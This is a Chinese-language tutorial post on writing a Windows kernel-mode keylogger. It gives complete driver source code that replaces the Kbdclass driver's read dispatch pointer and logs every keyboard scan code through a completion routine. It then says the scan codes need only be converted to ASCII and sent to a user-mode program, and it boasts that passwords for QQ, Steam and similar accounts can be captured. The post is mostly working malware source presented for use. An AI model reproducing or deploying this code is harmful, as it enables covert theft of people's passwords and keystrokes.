Windows驱动之编写键盘记录器
扫描二维码
随时随地手机看文章
【1】方式:替换Kbdclass驱动的ReadFile IRP函数处理指针
编写.sys文件:
头文件:
#pragma once //只编译1次头文件 #include//驱动函数头文件,类似于Windows.h #include//WDK函数头文件,一般编写驱动程序时,与ntddk.h一起包含 #include//UNICODE和ANSI字符串头文件 #include//安全字符串函数头文件 #include//扫描码结构体需要包含的头文件 #include//创建通信设备对象(不用管理员权限就能打开) #pragma comment(lib,"ntstrsafe.lib") //安全字符串函数库文件 //#define KBD_DRIVER_NAME L"\Driver\Kbdclass" #define KBD_DRIVER_NAME L"\Driver\Kbdclass" //调用延迟函数的延迟长度的宏 #define DELAY_ONE_MILLISECOND (-10 * 1000) //1毫秒 //可通过[驱动对象DRIVER_NAME名称路径]获得[该驱动对象的DRIVER_OBJECT指针] NTSTATUS ObReferenceObjectByName( PUNICODE_STRING ObjectName, ULONG Attributes, PACCESS_STATE AccessState, ACCESS_MASK DesiredAccess, POBJECT_TYPE ObjectType, KPROCESSOR_MODE AccessMode, PVOID ParseContext, PVOID *Object ); VOID DriverUnload(PDRIVER_OBJECT pDriverObj); NTSTATUS OpenTagDevice(wchar_t* DriObj); NTSTATUS Read( PDEVICE_OBJECT pDevObj, PIRP pIrp ); //读IRP请求处理函数 NTSTATUS c2pReadComplete ( IN PDEVICE_OBJECT DeviceObject, //目标设备对象 IN PIRP Irp, //IRP指针 IN PVOID Context //该自定义参数为:过滤设备对象 );
源文件:
#include "Dev.h" extern POBJECT_TYPE* IoDriverObjectType; //用于调用ObReferenceObjectByName API时,获取Kbdclass驱动对象指针,所带入的[对象类型] //由于是指针,所以带入时,为:*IoDriverObjectType; PDRIVER_OBJECT gDriverObject = NULL; //本驱动程序的[驱动对象] PDRIVER_OBJECT gTagDriverObj = NULL; //目标[驱动对象] PDRIVER_DISPATCH YuanReadFunc = NULL; //原目标[驱动对象]的函数指针 ULONG gIrpCount = 0; NTSTATUS DriverEntry ( PDRIVER_OBJECT DriverObject, //本驱动程序的[驱动对象] PUNICODE_STRING RegistryPath //此驱动在注册表中的路径. ) { KdPrint(("Aaron::DriverEntryn")); NTSTATUS status = STATUS_SUCCESS; //保存本驱动程序的[驱动对象]到全局变量 gDriverObject = DriverObject; //取目标驱动对象 status = OpenTagDevice(KBD_DRIVER_NAME); if (!NT_SUCCESS(status)) return status; //指针变量 volatile PVOID TagFunc = gTagDriverObj->MajorFunction + IRP_MJ_READ; YuanReadFunc = InterlockedExchangePointer(TagFunc, Read); //设置[驱动卸载]函数指针 DriverObject->DriverUnload = DriverUnload; //返回最终状态 return status; } NTSTATUS OpenTagDevice(wchar_t* DriObj) { NTSTATUS status; UNICODE_STRING DriName; RtlInitUnicodeString(&DriName, DriObj); PDRIVER_OBJECT TagDri; status = ObReferenceObjectByName(&DriName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL,&TagDri); if (!NT_SUCCESS(status)) return status; ObDereferenceObject(TagDri); gTagDriverObj = TagDri; return status; } //卸载函数 VOID DriverUnload(PDRIVER_OBJECT pDriverObj) {//由于卸载时,一般有一个未完成的IRP请求,当这个IRP完成时,会执行c2pReadComplete完成例程,但完成例程不存在了 //导致蓝屏,所以要等待这个IRP完成,然后卸载. volatile PVOID TagFunc = gTagDriverObj->MajorFunction + IRP_MJ_READ; InterlockedExchangePointer(TagFunc, YuanReadFunc); //将32位扩展至64位变量中. LARGE_INTEGER lDelay = RtlConvertLongToLargeInteger(10 * DELAY_ONE_MILLISECOND); //1毫秒 × 100 = 100毫秒,1000毫秒才等于1秒 //得到不公开的线程结构体指针 PRKTHREAD CurrentThread = KeGetCurrentThread(); //把当前线程设置为[低实时模式],以便让它的运行尽量少影响其他程序 16 (0~31) KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY); //等待IRP完成,就要用一个变量记录是否无IRP数量了. while (gIrpCount) KeDelayExecutionThread(KernelMode, FALSE, &lDelay); KdPrint(("Aaron::驱动程序卸载成功!n")); } //ReadFile处理函数 NTSTATUS Read( PDEVICE_OBJECT pDevObj, PIRP pIrp ) { gIrpCount++; PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(pIrp); //IrpSp->Context = 这个是自定义参数 IrpSp->Control = SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR | SL_INVOKE_ON_CANCEL; IrpSp->CompletionRoutine = (PIO_COMPLETION_ROUTINE)c2pReadComplete; return YuanReadFunc(pDevObj, pIrp); } //读IRP完成例程 NTSTATUS c2pReadComplete ( IN PDEVICE_OBJECT DeviceObject, //目标设备对象 IN PIRP Irp, //IRP指针 IN PVOID Context //该自定义参数为:过滤设备对象 ) { PIO_STACK_LOCATION IrpSp; //I/O堆栈指针 ULONG_PTR buf_len = 0; PKEYBOARD_INPUT_DATA buf = NULL; size_t i; //获取当前I/O堆栈指针 IrpSp = IoGetCurrentIrpStackLocation(Irp); //如果IRP请求是成功的 if (NT_SUCCESS(Irp->IoStatus.Status)) { //得到扫描码缓冲区 buf = Irp->AssociatedIrp.SystemBuffer; buf_len = Irp->IoStatus.Information; ULONG_PTR aaKeyCount = buf_len / sizeof(KEYBOARD_INPUT_DATA); for (ULONG_PTR i = 0; i < aaKeyCount; i++) { DbgPrint("键盘码:%02xn",buf->MakeCode); buf++; } } if (Irp->PendingReturned) IoMarkIrpPending(Irp); //IRP总数-- gIrpCount--; return Irp->IoStatus.Status; }
已经把扫描码给读出来的,自己转化成ASCII码,与应用层软件通信即可.
QQ、Steam等等的密码都可以获取到.(网银除外)
关于有个小问题:
这里设置IRP请求的完成例程时,不是直接调用的IoSetCompletionRoutine,而是手动设置上去的完成例程.
原因是IoSetCompletionRoutine好像是帮设备栈的下一个设备对象的I/O堆栈指针中的完成例程,导致完成例程函数
不执行.
【效果】